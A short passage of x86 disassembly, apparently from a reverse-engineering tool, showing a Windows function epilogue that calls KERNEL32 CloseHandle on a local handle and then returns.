mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 8]
pop edi
mov esp, ebp
pop ebp
ret